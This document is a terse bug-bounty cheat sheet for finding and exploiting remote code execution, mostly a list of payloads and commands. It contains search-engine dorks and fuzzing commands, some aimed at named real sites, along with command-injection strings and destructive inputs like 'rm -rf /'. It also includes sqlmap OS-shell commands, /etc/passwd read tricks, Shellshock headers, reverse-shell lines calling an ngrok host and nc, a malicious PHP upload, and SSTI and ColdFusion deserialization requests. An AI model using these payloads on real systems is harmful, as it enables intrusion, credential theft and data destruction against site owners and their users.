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RCE recon a to z:

###dorking

1. sample: site:\*.target.com AND intext:'their\_password (this process)

2. <https://www.shodan.io/>

example: [http.favicon.hash:2141724739/http.favicon.hash:<hash>](http://favicon.hash:2141724739/http.favicon.hash:<hash>)

"OS Build: <build number>"

"SERVER: Linux/<linux\_kernel\_version>"

"http server php"

"mysql"

"ssh" port:22

apache country:US

apache city:"San Francisco"

vuln:CVE-2020-0688

country:"IN" Windows:"10"

###Parameters finder

ali@kali) - [~/Desktop/SecLists-master/Fuzzing/LFI]

ffuf -w LFI-Jhaddix.txt -u "https://williamhill.us/FUZZ"

ffuf -w LFI-Jhaddix.txt -u "https://williamhill.us/FUZZ" -mc 200

<https://github.com/tomnomnom/qsreplace> (parameters chechking)

cat url.txt | gf rce

##Subdomain finding , Parameters finding , linkfinder etc:

### How to find Remote Code Execution RCE Parameters, If these Parameters are available then Remote Code Execution RCE can be taken.

###Top 25 Remote Code Execution (RCE) Parameters for @trbughunters

1. ?cmd={payload}

2. ?exec={payload}

3. ?command={payload}

4. ?execute={payload}

5. ?ping={payload}

6. ?query={payload}

7. ?jump={payload}

8. ?code={payload}

9. ?reg={payload}

10. ?do={payload}

11. ?func={payload}

12. ?arg={payload}

13. ?option={payload}

14. ?load={payload}

15. ?process={payload}

16. ?step={payload}

17. ?read={payload}

18. ?function={payload}

19. ?req={payload}

20. ?feature={payload}

21. ?exe={payload}

22. ?module={payload}

23. ?payload={payload}

24. ?run={payload}

25. ?print={payload}

```
###Server-Side Script Parameters:
PHP: include, require, eval, system, exec
Python: eval, exec, subprocess.run
Node.js: eval, child_process.exec
Ruby: eval, system, exec
```

```
####RCE check burpsuite
httpx -h | grep "http"
httpx -l nn.txt -http-proxy http://127.0.0.1:8080    (nn.txt all domain list)
waybackurls -no-sub vultweb.com | sort -u | gf rce | httpx -http-proxy
http://127.0.0.1:8080    (rce all finder burp suite)
```

```
## Using blacklists to prevent command injection
1. address=8.8.8.8%3Bwhoami (; character, Linux only)
2. address=8.8.8.8&26whoami (& character, Windows only)
3. address=8.8.8.8%7Cwhoami (| character)
4. address=invalid%7C%7Cwhoami (|| characters, the second command is executed only if the
first command fails)
5. address=8.8.8.8&26&26whoami (&& characters)
6. %3E(whoami) (> character, Linux only)
** ping.php?address=8.8.8.8%26dir
7. %60whoami%60 (` character, Linux only, the result will be reported by the ping command
as an error)
Therefore, if you absolutely need to use blacklisting, you must filter or escape the
following special characters:
use only:
8. Windows: ( ) < > & * \ | = ? ; [ ] ^ ~ ! . " % @ / \ : + , `
9. Linux: { } ( ) < > & * \ | = ? ; [ ] $ - # ~ ! . " % / \ : + , `
```

```
##CWE-94: Improper Control of Generation of Code ('Code Injection')
1. name=h4x0r
2. message=%3C?php%20system(%22/bin/ls%20-l%22);?%3E
3. <?php system("/bin/ls -l");?>
4. add_key(",",""); system("/bin/ls");
5. config_file_add_key(",",""); system("/bin/ls");
6. __import__('subprocess').getoutput('rm -r *')
7. /index.php?arg=1; system('id')
8. /index.php?arg=1; phpinfo()
9. eval()
10. include()
11. <?php eval("echo ".$_GET["user"].");?>
USE many item process encode,decode,base64 try now
```

```
kali linux use
egrep -o '[0-9]{5}+\.[0-9a-fA-F]{0,62}' file.txt|sort -u|cut -d. -f2|xxd -r -p    (all
domain password finding)
```

```
sqlmap -u "https://snoopy-college.tld/api/v1/StudentSomething?parameter1=9999" -H
"Cookie: uni-cookie=MY-COOKIE-HERE" --random-agent --os-cmd whoami    (sqlmap rce
command)
```

```
sqlmap -u "https://snoopy-college.tld/api/v1/StudentSomething?parameter1=9999" -H
"Cookie: uni-cookie=MY-COOKIE-HERE" --random-agent --os-shell
```

```
curl -kv "https://<target>/about.php?PHPRC=/dev/fd/0" --data-binary
'auto_prepend_file="/etc/passwd"'
```

```
curl -X POST -d "strCommand=GETUSERINFO'.'&strParam1='.'|user='.$_POST['user_id'].'|"
'.$url.' -k
```

```
curl -i -X POST
http://subdomain.target.com/crowd/rest/usermanagement/latest/user?username=your_new_user_
here -H 'Content-type: application/json' -H 'Accept: application/json' -u
```

```
curl -i -u crowd_administrator_username_here:crowd_administrator_password_here -X PUT --
data '{"name":"your_new_user_here", "active":"true"}'
http://subdomain.target.com/crowd/rest/usermanagement/1/user?username=your_new_user_here
--header 'Content-Type: application/json' --header 'Accept: application/json'
```

```
$ curl http://server-ip:8080/run -H 'Content-Type: application/json' -d
'{"language":"python","code":"import math\nprint(math.pi)}'
{"error": false, "timeout": false, "truncated": false, "output": "3.141592653589793\n"}
```

```
curl https://www.sheer.com/ -F '$auto_prepend_file="/etc/passwd\n"' -F 'PHPRC=/dev/fd/0'
```

```
### RCE Payload apply use burp suite
nc -lvp <our_port>          (port connection)
cgi-bin/cvename.cgi?cmd=python%35%reverse.py      (same url rce search)
sort[]=submission-ask&search[]=gihub&offset=2    (url pattern make and switch)
command=ls
/crowd/plugins/servlet/exp?cmd=command_here
('w'h'o'a'm'i')          (use path)
system(id)
shell_exec()
uid=0(root) gid=0(root) groups=0(root)
/dev/fd/../../environ
/proc/self/fd/../../
<confluence_home>/confluence.cfg.xml
mp3\";php -r '$sl=chr(47);$dot=chr(46);echo shell_exec(\"cat
${sl}etc${sl}resolv${dot}conf\");';#
sl=chr(47); // Character code of /
dot=chr(46); // Character code of .
echo shell_exec(\"cat ${sl}etc${sl}passwd\"); //
mp3\";id;#
\";id;#
<?php system('ls /') ?>
<? passthru("nc -e /bin/sh 192.168.33.128 4444");?>
```

```
###Path use RCE
/var/log/nginx/error.log
/ajax/system/sys_get_logfile.php
/tmp/raspap_debug.log
/legacy/ias/.aspx
###(burpsuite use pretty repeater)
path use:      =test;whoami      =test:w'h'o'a'm'i      =test&whoami      =test&&whoami      =test|whoami
test||whoami
; ls
& whoami
| netstat
${@java.lang.Runtime.getRuntime().exec('ls')}
${id}
```

```
#cmd: "transform", args: fontMatrix.slice()
cmd er pore bosbe a,b,c,d,c serial hisbe nicher gula
a. save();
```

```
b. transform(0.001,0,0,0.001,0,0);
c. scale(size,-size);
d. moveTo(0,0);
e. restore();
```

```
###User-Agent: rce
exec(), or passthru()
| rm -rf /
phpinfo()
User-Agent: Mozilla/5.0 (compatible; MSIE 11.0; Windows NT 6.1; Win64; x64;
Trident/5.0)'+(select*from(select(sleep(20)))a)+      (time base injection)
User-Agent:
User-Agent: () { ;; }; echo ; bin/bash -c "whoami"
User-Agent: () { 'or' }; echo ; bin/bash -c "whoami"
User-Agent: () { ;; }; echo ; bin/bash -c "nohup bash -i ?& /dev/tcp/6.ngrok.io/18482
0>&l &"
User-Agent: aaa' or 1/*
X-Forwarded-Host: bing.com      (host er pore dite hbe)
"><img src/oneror=prompt(document.cookie)>
HTTP Headers:
X-Forwarded-For: $(id)
User-Agent: () { ;; }; /bin/bash -c "echo vulnerable"
```

```
uploading rce:
POST /upload HTTP/1.1
Host: test.vaadata.com
Content-Type: multipart/form-data; boundary=-----
23970119286181897661102571495
Content-Length: 262
```

```
-----23970119286181897661102571495
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
```

```
<?php
system("cat /etc/passwd");
?>
-----23970119286181897661102571495-
```

```
POST /emails HTTP/1.1
Host: ssti.vaadata.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Connection: close
```

```
email_to=pentest%40vaadata.com&content=Hello+{{customer.name}}+{%25+for+x+in+().__class__
.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{%25+endfor+%25}&action=pre
view
```

```
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/114.0.5735.134 Safari/537.36
```

```
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct
type='xclassNameex'><var
name='VERSION'><string>1.0.0</string></var></struct></data></wddxPacket>
```

```
POST /CFIDE/adminapi/accessmanager.cfc?method=foo&_cfclient=true HTTP/2
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/114.0.5735.134 Safari/537.36
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
argumentCollection=<wddxPacket version='1.0'><header/><data><struct
type='xjava.util.Date'><var
name='date'><string>our_input</string></var></struct></data></wddxPacket>
```

cfml rce:

```
<cffunction name="getObjects" output="false">
    <cfargument name="columnID" required="yes" type="numeric" >
    <cfargument name="ContentHistID" required="yes" type="string" >
    <cfargument name="siteID" required="yes" type="string" >

    <cfset var rsObjects=""/>

    <cfquery
attributeCollection="#variables.configBean.getReadOnlyQRYAttrs(name='rsObjects')#">
        select tcontentobjects.object,tcontentobjects.name,tcontentobjects.objectid,
tcontentobjects.orderno, tcontentobjects.params, tplugindisplayobjects.configuratorInit
from tcontentobjects
        inner join tcontent on(
tcontentobjects.contenthistid=tcontent.contenthistid
and tcontentobjects.siteid=tcontent.siteid)
        left join tplugindisplayobjects on (tcontentobjects.object='plugin'
and
tcontentobjects.objectID=tplugindisplayobjects.objectID)
        where tcontent.siteid='#arguments.siteid#'
        and tcontent.contenthistid='#arguments.contentHistID#'
        and tcontentobjects.columnid=#arguments.columnID#
        order by tcontentobjects.orderno
    </cfquery>

    <cfreturn rsObjects>

</cffunction>

<cfif IsDefined("URL.cmd")>
    <cfif ListFindNoCase("allowedCommand1,allowedCommand2,allowedCommand3", URL.cmd)>
        <cfexecute name="#URL.cmd#" />
    <cfelse>
        <cfoutput>Unauthorized command</cfoutput>
    </cfif>
```

</cfif>

github link:

<https://github.com/klezVirus/CVE-2021-40444> (rce github use)  
<https://github.com/swisskyrepo/PayloadsAllTheThings>  
<https://github.com/lutfumertceylan/top25-parameter> (vulnerable parameters list)  
<https://gist.github.com/pikpikcu/0145fb71203c8a3ad5c67b8aab47165b>  
<https://github.com/hktalent/CVE-2020-2551>  
<https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-29300.yaml?ref=blog.projectdiscovery.io> (all template RCE nueclei)  
## nuclei -id CVE-2023-29300 -list coldfusion\_list.txt

Website link:

<https://ansar0047.medium.com/remote-code-execution-unix-and-windows-4ed3367158b3> (rce all payload list)  
<https://www.invicti.com/blog/web-security/buffer-overflow-attacks/> (Bufferoverflow)  
<https://www.invicti.com/learn/remote-code-execution-rce/>  
<https://www.invicti.com/learn/os-command-injection/>  
<https://cwe.mitre.org/data/definitions/94.html>  
<https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/>  
<https://medium.com/nerd-for-tech/finding-rce-in-opensource-raspap-eb308c95ca6>  
<https://www.claranet.com/us/blog/2023-04-17-path-traversal-remote-code-execution>  
<https://corneacristian.medium.com/top-25-rce-bug-bounty-reports-bc9555cca7bc> (hackerone top 25 report rce)  
<https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/special-http-headers>  
<https://blog.projectdiscovery.io/hacking-apple-with-sql-injection/>  
<https://blog.projectdiscovery.io/adobe-coldfusion-rce/>  
<https://www.exploit-db.com/google-hacking-database> (dorking)

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